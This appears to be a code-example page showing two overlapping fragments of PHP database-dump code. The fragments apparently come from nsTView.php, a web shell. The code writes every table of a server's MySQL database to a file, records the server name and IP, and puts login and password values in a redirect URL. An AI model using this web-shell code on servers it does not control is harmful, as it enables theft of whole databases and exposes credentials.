Esempio n. 1
0
$row[1]=str_replace("\n","\r\n",$row[1]);

fwrite($fp, $row[1].";\r\n\r\n");

$res = mysql_query("SELECT * FROM `$tab`");

if(mysql_num_rows($res)>0){

while($row=mysql_fetch_assoc($res)){

$keys = join("`, `", array_keys($row));

$values = array_values($row);

foreach($values as $k=>$v) {$values[$k] = adds2($v);}

$values = join("', '", $values);

$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n";

fwrite($fp, $sql);

}}

fwrite($fp, "\r\n\r\n\r\n");

}

fclose($fp);
Esempio n. 2
0
     }
     $fp = fopen($f_d . "/" . $f, "w");
     fwrite($fp, "# nsTView.php v{$ver}\n# Web: http://nst.void.ru\n# Dump from: " . $_SERVER["SERVER_NAME"] . " (" . $_SERVER["SERVER_ADDR"] . ")\n# MySQL version: " . mysql_get_server_info() . "\n# PHP version: " . phpversion() . "\n# Date: " . date("d.m.Y - H:i:s") . "\n# Dump db ( {$db} )\n# --- eof ---\n\n");
     foreach ($tabs as $tab) {
         fwrite($fp, "DROP TABLE IF EXISTS `{$tab}`;\r\n");
         $res = mysql_query("SHOW CREATE TABLE `{$tab}`");
         $row = mysql_fetch_row($res);
         $row[1] = str_replace("\n", "\r\n", $row[1]);
         fwrite($fp, $row[1] . ";\r\n\r\n");
         $res = mysql_query("SELECT * FROM `{$tab}`");
         if (mysql_num_rows($res) > 0) {
             while ($row = mysql_fetch_assoc($res)) {
                 $keys = join("`, `", array_keys($row));
                 $values = array_values($row);
                 foreach ($values as $k => $v) {
                     $values[$k] = adds2($v);
                 }
                 $values = join("', '", $values);
                 $sql = "INSERT INTO `{$tab}`(`{$keys}`) VALUES ('{$values}');\r\n";
                 fwrite($fp, $sql);
             }
         }
         fwrite($fp, "\r\n\r\n\r\n");
     }
     fclose($fp);
     print "<meta http-equiv=\"REFRESH\" content=\"0;URL={$php_self}?p=sql&login={$login}&pass={$pass}&adress={$adress}&conn=1&baza=1&dump_download=1&f_d={$f_d}/\">";
 }
 #end of db dump
 $vnutr = $_GET['vnutr'];
 $tbl = $_GET['tbl'];
 if ($vnutr and !$_GET['ins_new_line']) {